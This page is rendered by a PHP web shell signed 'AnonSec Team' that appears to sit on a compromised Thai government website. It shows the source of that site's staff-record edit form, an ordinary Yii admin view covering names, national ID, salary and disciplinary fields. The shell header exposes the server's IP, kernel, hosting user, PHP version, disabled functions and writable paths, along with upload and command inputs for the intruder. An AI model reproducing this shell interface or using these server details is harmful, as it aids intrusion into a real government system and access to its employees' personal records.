NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.138.137.25
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/private_html/backup/protected/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/private_html/backup/protected/views/admin/personalEdit.php
<script type="text/javascript">
$(function(){
    
    $('#tbPersonal_tb_personal_group_id').change(function(){
        var group_chart = $('#tbPersonal_tb_personal_group_id').val();
        var link = '<?php echo Yii::app()->controller->createUrl('Admin/PersonalGetPosition'); ?>';
        
        $.post(link, {id: group_chart}, function(data){
            if(data != 'null') {
                $('#chart_position_ajax').html(data);
                $('#trPositionAjax').css({'display':'table-row'});
            } else {
                $('#tbPersonal_tb_personal_position_id').empty();
                $('#trPositionAjax').css({'display':'none'});
            }
        });
    })
})

function isNumberKey(evt){
    var charCode = (evt.which) ? evt.which : event.keyCode
    if (charCode > 31 && (charCode < 48 || charCode > 57))
        return false;
    return true;
}
</script>

<div class="row-fluid formview-header-bar">
    <div class="span12">
        <ul class="breadcrumb">
            <li><a href="<?php echo Yii::app()->controller->createUrl('MainBackend'); ?>">หน้าหลัก</a> <span class="divider">/</span></li>
            <li><a href="<?php echo Yii::app()->controller->createUrl('PersonalMain'); ?>">ข้อมูลบุคลากร</a> <span class="divider">/</span></li>
            <li class="active">แก้ไขข้อมูล ข้อมูลบุคลากร</li>
        </ul>
    </div>
</div>

<div class="row-fluid">
    <div class="span12">
        
        <?php $form = $this->beginWidget('CActiveForm', array(
            'id' => 'form',
            'enableAjaxValidation' => true,
            'clientOptions' => array(
                'validateOnSubmit' => true,
                'validateOnChange' => true,
            ),
            'htmlOptions' => array('enctype'=>'multipart/form-data'),
        )); ?>
        <?php echo $form->hiddenField($model, 'id'); ?>
        <table class="tableForm">
            <tr>
                <td class="tableFormRight" width="170"><?php echo $form->labelEx($model, 'prefix'); ?></td>
                <td>
                    <?php
                    $prefix = array("mr"=>"นาย", "mrs"=>"นางสาว", "ms"=>"นาง");
                    echo $form->dropdownlist($model, 'prefix', $prefix);
                    echo $form->error($model, 'prefix');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'name'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'name', array('class'=>'span6', 'placeholder'=>'ชื่อบุคลากร..'));
                    echo $form->error($model, 'name');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'surname'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'surname', array('class'=>'span6', 'placeholder'=>'นามสกุลบุคลากร..'));
                    echo $form->error($model, 'surname');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'personal_id'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'personal_id', array('class'=>'span6', 'placeholder'=>'เลขที่บัตรประจำตัวประชาชน..'));
                    echo $form->error($model, 'personal_id');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'birthday'); ?></td>
                <td>
                    <?php
                    $day = OtherFunction::mysqlToThaiDateDay($model->birthday);
                    $month = OtherFunction::mysqlToThaiDateMonth($model->birthday);
                    $year = OtherFunction::mysqlToThaiDateYear($model->birthday);
                    ?>
                    
                    <!-- DAY -->
                    <select class="span1" name="day_birthday">
                        <?php for($i = 1; $i <= 31; $i++): 
                            $select_op = ($day == $i) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $i; ?>"<?php echo $select_op; ?>><?php echo $i; ?></option>
                        <?php endfor; ?>
                    </select>
                    
                    <!-- MONTH -->
                    <select class="span2" name="month_birthday">
                        <?php foreach(OtherFunction::monthThai() as $key => $value):
                            $select_op = ($month == $key) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $key; ?>"<?php echo $select_op; ?>><?php echo $value; ?></option>
                        <?php endforeach; ?>
                    </select>
                    
                    <!-- YEAR -->
                    <input class="span2" type="text" name="year_birthday" placeholder="EX. 2500" value="<?php echo $year; ?>" maxlength="4" onkeypress="return isNumberKey(event)">
                </td>
            </tr>
            <?php if($model->personal_pic != '') { ?>
            <tr>
                <td></td>
                <td>
                    <a onclick="return confirm('คุณต้องการลบภาพนี้?.');" href="<?php echo Yii::app()->controller->createUrl('Admin/PersonalDeletePicture', array('id'=>$model->id)); ?>" class="btn btn-danger">
                        ลบรูปภาพ
                    </a>
                </td>
            </tr>
            <tr>
                <td></td>
                <td>
                    <?php echo CHtml::image(Yii::app()->baseUrl.OtherFunction::pathFile('personal_pic').$model->personal_pic); ?>
                </td>
            </tr>
            <tr>
                <td></td>
                <td><span style="color: red;">* การเปลี่ยนรูปประจำตัว สามารถ ทำได้ด้วยการอัพรูปใหม่ทับแทนไฟล์เดิม</span></td>
            </tr>
            <?php } ?>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'personal_pic'); ?></td>
                <td>
                    <?php
                    echo $form->FileField($model, 'personal_pic');
                    echo $form->error($model, 'personal_pic');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'edu_level'); ?></td>
                <td>
                    <?php
                    $eduLevel = array("4"=>"ป.4", "3"=>"ม.3", "6"=>"ม.6", "11"=>"ปวช.", "12"=>"ปวส.", "14"=>"ปวท.", "8"=>"ปริญญาตรี", "9"=>"ปริญญาโท", "10"=>"ปริญญาเอก");
                    echo $form->dropdownlist($model, 'edu_level', $eduLevel);
                    echo $form->error($model, 'edu_level');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'major_name'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'major_name', array('class'=>'span6', 'placeholder'=>'สาขาที่จบ..'));
                    echo $form->error($model, 'major_name');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'institute_name'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'institute_name', array('class'=>'span6', 'placeholder'=>'สถาบันที่จบ..'));
                    echo $form->error($model, 'institute_name');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'tbPersonalGroup.group_name'); ?></td>
                <td>
                    <?php
                    $dataType = CHtml::listData(tbPersonalGroup::model()->findAll(), 'id', 'group_name');
                    echo $form->dropdownlist($model, 'tb_personal_group_id', $dataType, array('class'=>'span8', 'empty'=>'เลือกหน่วยงาน'));
                    echo $form->error($model, 'tb_personal_group_id');
                    ?>
                </td>
            </tr>
            <tr id="trPositionAjax" style="display: none;">
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'tbPersonalPosition.position_name'); ?></td>
                <td>
                    <div id="chart_position_ajax"></div>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><b style="color: red;">ตำแหน่งปัจจุบัน</b></td>
                <td>
                    <?php
                    if(!empty($model->tb_personal_position_id)):
                        $model_posName = new tbPersonalPosition();
                        $model_posName = $model_posName->findByPk($model->tb_personal_position_id);

                        echo '<span style="color: red;">'.$model_posName->position_name.'</span>';
                    endif;
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'pos_num'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'pos_num', array('class'=>'span6', 'placeholder'=>'เลขที่ตำแหน่ง..'));
                    echo $form->error($model, 'pos_num');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'pos_date_in'); ?></td>
                <td>
                    <?php
                    $day = OtherFunction::mysqlToThaiDateDay($model->pos_date_in);
                    $month = OtherFunction::mysqlToThaiDateMonth($model->pos_date_in);
                    $year = OtherFunction::mysqlToThaiDateYear($model->pos_date_in);
                    ?>
                    
                    <!-- DAY -->
                    <select class="span1" name="day_posDateIn">
                        <?php for($i = 1; $i <= 31; $i++): 
                            $select_op = ($day == $i) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $i; ?>"<?php echo $select_op; ?>><?php echo $i; ?></option>
                        <?php endfor; ?>
                    </select>
                    
                    <!-- MONTH -->
                    <select class="span2" name="month_posDateIn">
                        <?php foreach(OtherFunction::monthThai() as $key => $value):
                            $select_op = ($month == $key) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $key; ?>"<?php echo $select_op; ?>><?php echo $value; ?></option>
                        <?php endforeach; ?>
                    </select>
                    
                    <!-- YEAR -->
                    <input class="span2" type="text" name="year_posDateIn" placeholder="EX. 2500" value="<?php echo $year; ?>" maxlength="4" onkeypress="return isNumberKey(event)">
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'pos_level'); ?></td>
                <td>
                    <?php
                    $posLevel = array("1"=>"1", "2"=>"2", "3"=>"3", "4"=>"4", "5"=>"5", "6"=>"6", "7"=>"7", "8"=>"8", "9"=>"9");
                    echo $form->dropdownlist($model, 'pos_level', $posLevel);
                    echo $form->error($model, 'pos_level');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'salary'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'salary', array('class'=>'span3', 'placeholder'=>'กรุณากรอกแค่ตัวเลข..', 'maxlength'=>'6', 'onkeypress'=>'return isNumberKey(event)')).' <span style="padding-left: 7px; font-weight: bold;">บาท</span>';
                    echo $form->error($model, 'salary');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'date_officer_in'); ?></td>
                <td>
                    <?php
                    $day = OtherFunction::mysqlToThaiDateDay($model->date_officer_in);
                    $month = OtherFunction::mysqlToThaiDateMonth($model->date_officer_in);
                    $year = OtherFunction::mysqlToThaiDateYear($model->date_officer_in);
                    ?>
                    
                    <!-- DAY -->
                    <select class="span1" name="day_dateOfficerIn">
                        <?php for($i = 1; $i <= 31; $i++): 
                            $select_op = ($day == $i) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $i; ?>"<?php echo $select_op; ?>><?php echo $i; ?></option>
                        <?php endfor; ?>
                    </select>
                    
                    <!-- MONTH -->
                    <select class="span2" name="month_dateOfficerIn">
                        <?php foreach(OtherFunction::monthThai() as $key => $value):
                            $select_op = ($month == $key) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $key; ?>"<?php echo $select_op; ?>><?php echo $value; ?></option>
                        <?php endforeach; ?>
                    </select>
                    
                    <!-- YEAR -->
                    <input class="span2" type="text" name="year_dateOfficerIn" placeholder="EX. 2500" value="<?php echo $year; ?>" maxlength="4" onkeypress="return isNumberKey(event)">
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'date_officer_retire'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'date_officer_retire', array('class'=>'span2', 'placeholder'=>'EX. 2500'));
                    echo $form->error($model, 'date_officer_retire');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'accuse_choice'); ?></td>
                <td>
                    <?php
                    $accuseChoice = array("3"=>"ไม่เคยได้รับการลงโทษ", "2"=>"ไม่ร้ายแรง", "1"=>"ร้ายแรง");
                    echo $form->dropdownlist($model, 'accuse_choice', $accuseChoice);
                    echo $form->error($model, 'accuse_choice');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'accuse_detail'); ?></td>
                <td>
                    <?php $this->widget('application.extensions.eckeditor.ECKEditor', array(
                        'model' => $model,
                        'attribute' => 'accuse_detail',
                        'config' => array(
                            'toolbar' => array(
                                array('RemoveFormat', '-', 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock'),
                                array('Bold', 'Italic', 'Underline', 'NumberedList', 'BulletedList', 'Outdent', 'Indent', 'SpecialChar'),
                                array('Font', 'Format', 'FontSize', 'TextColor', '-', 'Source'),
                            )
                        ),
                    )); ?>
                    <?php echo $form->error($model, 'accuse_detail'); ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'accuse_date'); ?></td>
                <td>
                    <?php
                    $day = OtherFunction::mysqlToThaiDateDay($model->accuse_date);
                    $month = OtherFunction::mysqlToThaiDateMonth($model->accuse_date);
                    $year = OtherFunction::mysqlToThaiDateYear($model->accuse_date);
                    ?>
                    
                    <!-- DAY -->
                    <select class="span1" name="day_accuseDate">
                        <?php for($i = 1; $i <= 31; $i++): 
                            $select_op = ($day == $i) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $i; ?>"<?php echo $select_op; ?>><?php echo $i; ?></option>
                        <?php endfor; ?>
                    </select>
                    
                    <!-- MONTH -->
                    <select class="span2" name="month_accuseDate">
                        <?php foreach(OtherFunction::monthThai() as $key => $value):
                            $select_op = ($month == $key) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $key; ?>"<?php echo $select_op; ?>><?php echo $value; ?></option>
                        <?php endforeach; ?>
                    </select>
                    
                    <!-- YEAR -->
                    <input class="span2" type="text" name="year_accuseDate" placeholder="EX. 2500" value="<?php echo $year; ?>" maxlength="4" onkeypress="return isNumberKey(event)">
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'royal_level'); ?></td>
                <td>
                    <?php
                    echo $form->TextField($model, 'royal_level', array('class'=>'span6', 'placeholder'=>'ข้อมูลเครื่องราชฯ..'));
                    echo $form->error($model, 'royal_level');
                    ?>
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'royal_date'); ?></td>
                <td>
                    <?php
                    $day = OtherFunction::mysqlToThaiDateDay($model->royal_date);
                    $month = OtherFunction::mysqlToThaiDateMonth($model->royal_date);
                    $year = OtherFunction::mysqlToThaiDateYear($model->royal_date);
                    ?>
                    
                    <!-- DAY -->
                    <select class="span1" name="day_royalDate">
                        <?php for($i = 1; $i <= 31; $i++): 
                            $select_op = ($day == $i) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $i; ?>"<?php echo $select_op; ?>><?php echo $i; ?></option>
                        <?php endfor; ?>
                    </select>
                    
                    <!-- MONTH -->
                    <select class="span2" name="month_royalDate">
                        <?php foreach(OtherFunction::monthThai() as $key => $value):
                            $select_op = ($month == $key) ? 'selected="selected"' : '';
                        ?>
                        <option value="<?php echo $key; ?>"<?php echo $select_op; ?>><?php echo $value; ?></option>
                        <?php endforeach; ?>
                    </select>
                    
                    <!-- YEAR -->
                    <input class="span2" type="text" name="year_royalDate" placeholder="EX. 2500" value="<?php echo $year; ?>" maxlength="4" onkeypress="return isNumberKey(event)">
                </td>
            </tr>
            <tr>
                <td class="tableFormRight"><?php echo $form->labelEx($model, 'profile_train_detail'); ?></td>
                <td>
                    <?php $this->widget('application.extensions.eckeditor.ECKEditor', array(
                        'model' => $model,
                        'attribute' => 'profile_train_detail',
                        'config' => array(
                            'toolbar' => array(
                                array('RemoveFormat', '-', 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock'),
                                array('Bold', 'Italic', 'Underline', 'NumberedList', 'BulletedList', 'Outdent', 'Indent', 'SpecialChar'),
                                array('Font', 'Format', 'FontSize', 'TextColor', '-', 'Source'),
                            )
                        ),
                    )); ?>
                    <?php echo $form->error($model, 'profile_train_detail'); ?>
                </td>
            </tr>
            <tr>
                <td></td>
                <td>
                    <?php echo CHtml::submitButton('ตกลง', array('class'=>'btn btn-primary')); ?>
                </td>
            </tr>
        </table>
        <?php $this->endWidget(); ?>
        
    </div>
</div>

Anon7 - 2022
AnonSec Team